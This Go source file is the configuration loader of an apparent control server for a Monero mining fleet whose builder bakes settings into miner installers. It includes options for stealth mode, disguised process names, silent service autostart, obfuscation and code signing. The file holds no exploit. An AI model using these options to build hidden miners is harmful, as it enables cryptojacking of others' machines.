package main import ( "encoding/json" "flag" "fmt" "os" "path/filepath" "strings" ) type Config struct { Port int `json:"port"` DataDir string `json:"data_dir"` Pool PoolConfig `json:"pool"` Wallet WalletConfig `json:"wallet"` // Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers. DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"` Background BackgroundConfig `json:"background,omitempty"` Alerts AlertsConfig `json:"alerts"` Server ServerSettings `json:"server"` } // ServerSettings controls the locally hosted control server (not baked into miners). type ServerSettings struct { PublicURL string `json:"public_url"` StatsRetentionHours int `json:"stats_retention_hours"` BuildRetentionDays int `json:"build_retention_days"` PoolReconnectSeconds int `json:"pool_reconnect_seconds"` WebSocketPingSeconds int `json:"websocket_ping_seconds"` MaxAgents int `json:"max_agents"` MaxBuildSizeMB int `json:"max_build_size_mb"` LogAgentConnections bool `json:"log_agent_connections"` LogShareSubmissions bool `json:"log_share_submissions"` LogPoolTraffic bool `json:"log_pool_traffic"` StrictWalletValidation bool `json:"strict_wallet_validation"` DashboardSubtitle string `json:"dashboard_subtitle"` OpenFirewallOnStart bool `json:"open_firewall_on_start"` ObfuscateDefault bool `json:"obfuscate_default"` SignEnabled bool `json:"sign_enabled"` SignCertThumbprint string `json:"sign_cert_thumbprint"` SignToolPath string `json:"sign_tool_path"` SignTimestampURL string `json:"sign_timestamp_url"` // FleetSecret is a random token generated once on first run and baked into // every forged agent binary. Agents must present it on connect or be rejected. FleetSecret string `json:"fleet_secret"` } type PoolConfig struct { Host string `json:"host"` Port int `json:"port"` UseTLS bool `json:"use_tls"` Password string `json:"password"` } type WalletConfig struct { Address string `json:"address"` PaymentID string `json:"payment_id"` } type AgentDefaults struct { Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` MiningMode string `json:"mining_mode"` DisplayMode string `json:"display_mode"` ProcessName string `json:"process_name"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` AdaptToHardware bool `json:"adapt_to_hardware"` SelfHealing bool `json:"self_healing"` FileLogging bool `json:"file_logging"` StealthMode bool `json:"stealth_mode"` } type BackgroundConfig struct { SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` AutoStart bool `json:"auto_start"` } type AlertsConfig struct { OfflineThresholdMinutes int `json:"offline_threshold_minutes"` HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"` RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"` TelegramBotToken string `json:"telegram_bot_token"` TelegramChatID string `json:"telegram_chat_id"` EmailEnabled bool `json:"email_enabled"` SMTPHost string `json:"smtp_host"` SMTPPort int `json:"smtp_port"` SMTPUser string `json:"smtp_user"` SMTPPassword string `json:"smtp_password"` EmailTo string `json:"email_to"` EmailFrom string `json:"email_from"` } func DefaultConfig() *Config { return &Config{ Port: 8989, DataDir: "data", Pool: PoolConfig{ Host: "pool.supportxmr.com", Port: 3333, UseTLS: true, Password: "x", }, Wallet: WalletConfig{ Address: "", PaymentID: "", }, DefaultAgent: AgentDefaults{ Threads: 4, ThreadMode: "percent", ThreadPercent: 75, CPUPriority: "below_normal", MaxCPUUsagePct: 80, MaxMemoryPct: 70, MinFreeRAMMB: 1024, MiningMode: "always", DisplayMode: "background", ProcessName: "", IdleThresholdPct: 20, IdleDurationMinutes: 5, ScheduleStart: "21:00", ScheduleEnd: "06:00", InstallBase: "localappdata", InstallRelativePath: "CryptoMiner/{worker}-{build_short}", AdaptToHardware: true, SelfHealing: true, FileLogging: true, StealthMode: false, }, Background: BackgroundConfig{ SilentMode: true, RunAs: "service", AutoStart: true, }, Alerts: AlertsConfig{ OfflineThresholdMinutes: 5, HashrateDropThresholdPct: 50, RejectionRateThresholdPct: 5, }, Server: ServerSettings{ PublicURL: "", StatsRetentionHours: 168, BuildRetentionDays: 30, PoolReconnectSeconds: 30, WebSocketPingSeconds: 30, MaxAgents: 256, MaxBuildSizeMB: 150, LogAgentConnections: true, LogShareSubmissions: false, LogPoolTraffic: false, StrictWalletValidation: false, DashboardSubtitle: "security is just an emotion", OpenFirewallOnStart: true, ObfuscateDefault: false, SignEnabled: false, SignTimestampURL: "http://timestamp.digicert.com", }, } } func LoadConfig() *Config { cfg := DefaultConfig() // Parse CLI flags port := flag.Int("port", 8989, "Server port") dataDir := flag.String("data", "data", "Data directory") flag.Parse() cfg.Port = *port cfg.DataDir = *dataDir // Try to load from config file configPath := filepath.Join(cfg.DataDir, "config.json") if data, err := os.ReadFile(configPath); err == nil { var fileCfg Config if err := json.Unmarshal(data, &fileCfg); err == nil { mergeConfig(cfg, &fileCfg) if !strings.Contains(string(data), `"open_firewall_on_start"`) { cfg.Server.OpenFirewallOnStart = true } } } return cfg } func mergeConfig(dst, src *Config) { if src.Port != 0 { dst.Port = src.Port } if src.DataDir != "" { dst.DataDir = src.DataDir } if src.Pool.Host != "" { dst.Pool.Host = src.Pool.Host } if src.Pool.Port != 0 { dst.Pool.Port = src.Pool.Port } dst.Pool.UseTLS = src.Pool.UseTLS if src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } if src.Wallet.Address != "" { dst.Wallet.Address = src.Wallet.Address } if src.Wallet.PaymentID != "" { dst.Wallet.PaymentID = src.Wallet.PaymentID } if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } if src.DefaultAgent.ThreadMode != "" { dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode } if src.DefaultAgent.ThreadPercent != 0 { dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent } if src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } if src.DefaultAgent.MaxMemoryPct != 0 { dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct } if src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } if src.DefaultAgent.DisplayMode != "" { dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode } if src.DefaultAgent.ProcessName != "" { dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName } if src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } if src.DefaultAgent.IdleDurationMinutes != 0 { dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes } if src.DefaultAgent.ScheduleStart != "" { dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart } if src.DefaultAgent.ScheduleEnd != "" { dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd } if src.DefaultAgent.InstallBase != "" { dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase } if src.DefaultAgent.InstallCustomBase != "" { dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase } if src.DefaultAgent.InstallRelativePath != "" { dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath } if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging { dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode } dst.Background.SilentMode = src.Background.SilentMode if src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs } dst.Background.AutoStart = src.Background.AutoStart if src.Alerts.OfflineThresholdMinutes != 0 { dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes } if src.Alerts.HashrateDropThresholdPct != 0 { dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct } if src.Alerts.RejectionRateThresholdPct != 0 { dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct } if src.Alerts.TelegramBotToken != "" { dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken } if src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled if src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } if src.Alerts.SMTPPort != 0 { dst.Alerts.SMTPPort = src.Alerts.SMTPPort } if src.Alerts.SMTPUser != "" { dst.Alerts.SMTPUser = src.Alerts.SMTPUser } if src.Alerts.SMTPPassword != "" { dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword } if src.Alerts.EmailTo != "" { dst.Alerts.EmailTo = src.Alerts.EmailTo } if src.Alerts.EmailFrom != "" { dst.Alerts.EmailFrom = src.Alerts.EmailFrom } if src.Server.PublicURL != "" { dst.Server.PublicURL = src.Server.PublicURL } if src.Server.StatsRetentionHours != 0 { dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours } if src.Server.BuildRetentionDays != 0 { dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays } if src.Server.PoolReconnectSeconds != 0 { dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds } if src.Server.WebSocketPingSeconds != 0 { dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds } if src.Server.MaxAgents != 0 { dst.Server.MaxAgents = src.Server.MaxAgents } if src.Server.MaxBuildSizeMB != 0 { dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB } dst.Server.LogAgentConnections = src.Server.LogAgentConnections dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation if src.Server.DashboardSubtitle != "" { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault dst.Server.SignEnabled = src.Server.SignEnabled if src.Server.SignCertThumbprint != "" { dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint } if src.Server.SignToolPath != "" { dst.Server.SignToolPath = src.Server.SignToolPath } if src.Server.SignTimestampURL != "" { dst.Server.SignTimestampURL = src.Server.SignTimestampURL } } // mergeConfigExplicit is like mergeConfig but only applies boolean fields when // the corresponding top-level key was explicitly present in the JSON request. // This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode, // AutoStart, LogAgentConnections, etc. to false. func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if present == nil { // Fall back to old behaviour if we have no key presence info mergeConfig(dst, src) return } has := func(key string) bool { _, ok := present[key]; return ok } // Non-boolean scalar fields — safe to use zero-value guard if src.Port != 0 { dst.Port = src.Port } if src.DataDir != "" { dst.DataDir = src.DataDir } // Pool — only touch booleans when key was in the payload if has("pool") { if src.Pool.Host != "" { dst.Pool.Host = src.Pool.Host } if src.Pool.Port != 0 { dst.Pool.Port = src.Pool.Port } dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present if src.Pool.Password != "" { dst.Pool.Password = src.Pool.Password } } if has("wallet") { if src.Wallet.Address != "" { dst.Wallet.Address = src.Wallet.Address } if src.Wallet.PaymentID != "" { dst.Wallet.PaymentID = src.Wallet.PaymentID } } // The JSON struct tag is "default_agent_config" — must match exactly. if has("default_agent_config") { if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } if src.DefaultAgent.ThreadMode != "" { dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode } if src.DefaultAgent.ThreadPercent != 0 { dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent } if src.DefaultAgent.CPUPriority != "" { dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority } if src.DefaultAgent.MaxCPUUsagePct != 0 { dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct } if src.DefaultAgent.MaxMemoryPct != 0 { dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct } if src.DefaultAgent.MinFreeRAMMB != 0 { dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB } if src.DefaultAgent.MiningMode != "" { dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode } if src.DefaultAgent.DisplayMode != "" { dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode } if src.DefaultAgent.ProcessName != "" { dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName } if src.DefaultAgent.IdleThresholdPct != 0 { dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct } if src.DefaultAgent.IdleDurationMinutes != 0 { dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes } if src.DefaultAgent.ScheduleStart != "" { dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart } if src.DefaultAgent.ScheduleEnd != "" { dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd } if src.DefaultAgent.InstallBase != "" { dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase } if src.DefaultAgent.InstallCustomBase != "" { dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase } if src.DefaultAgent.InstallRelativePath != "" { dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath } // Booleans only applied because "default_agent" key was present dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode } if has("background") { dst.Background.SilentMode = src.Background.SilentMode if src.Background.RunAs != "" { dst.Background.RunAs = src.Background.RunAs } dst.Background.AutoStart = src.Background.AutoStart } if has("alerts") { if src.Alerts.OfflineThresholdMinutes != 0 { dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes } if src.Alerts.HashrateDropThresholdPct != 0 { dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct } if src.Alerts.RejectionRateThresholdPct != 0 { dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct } if src.Alerts.TelegramBotToken != "" { dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken } if src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled if src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } if src.Alerts.SMTPPort != 0 { dst.Alerts.SMTPPort = src.Alerts.SMTPPort } if src.Alerts.SMTPUser != "" { dst.Alerts.SMTPUser = src.Alerts.SMTPUser } if src.Alerts.SMTPPassword != "" { dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword } if src.Alerts.EmailTo != "" { dst.Alerts.EmailTo = src.Alerts.EmailTo } if src.Alerts.EmailFrom != "" { dst.Alerts.EmailFrom = src.Alerts.EmailFrom } } if has("server") { if src.Server.PublicURL != "" { dst.Server.PublicURL = src.Server.PublicURL } if src.Server.StatsRetentionHours != 0 { dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours } if src.Server.BuildRetentionDays != 0 { dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays } if src.Server.PoolReconnectSeconds != 0 { dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds } if src.Server.WebSocketPingSeconds != 0 { dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds } if src.Server.MaxAgents != 0 { dst.Server.MaxAgents = src.Server.MaxAgents } if src.Server.MaxBuildSizeMB != 0 { dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB } // Booleans applied because "server" key was present dst.Server.LogAgentConnections = src.Server.LogAgentConnections dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault dst.Server.SignEnabled = src.Server.SignEnabled if src.Server.DashboardSubtitle != "" { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } if src.Server.SignCertThumbprint != "" { dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint } if src.Server.SignToolPath != "" { dst.Server.SignToolPath = src.Server.SignToolPath } if src.Server.SignTimestampURL != "" { dst.Server.SignTimestampURL = src.Server.SignTimestampURL } if src.Server.FleetSecret != "" { dst.Server.FleetSecret = src.Server.FleetSecret } } } func (c *Config) Save() error { configPath := filepath.Join(c.DataDir, "config.json") data, err := json.MarshalIndent(c, "", " ") if err != nil { return fmt.Errorf("failed to marshal config: %w", err) } return os.WriteFile(configPath, data, 0644) } func (c *Config) PoolURL() string { proto := "stratum+tcp" if c.Pool.UseTLS { proto = "stratum+ssl" } return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port) }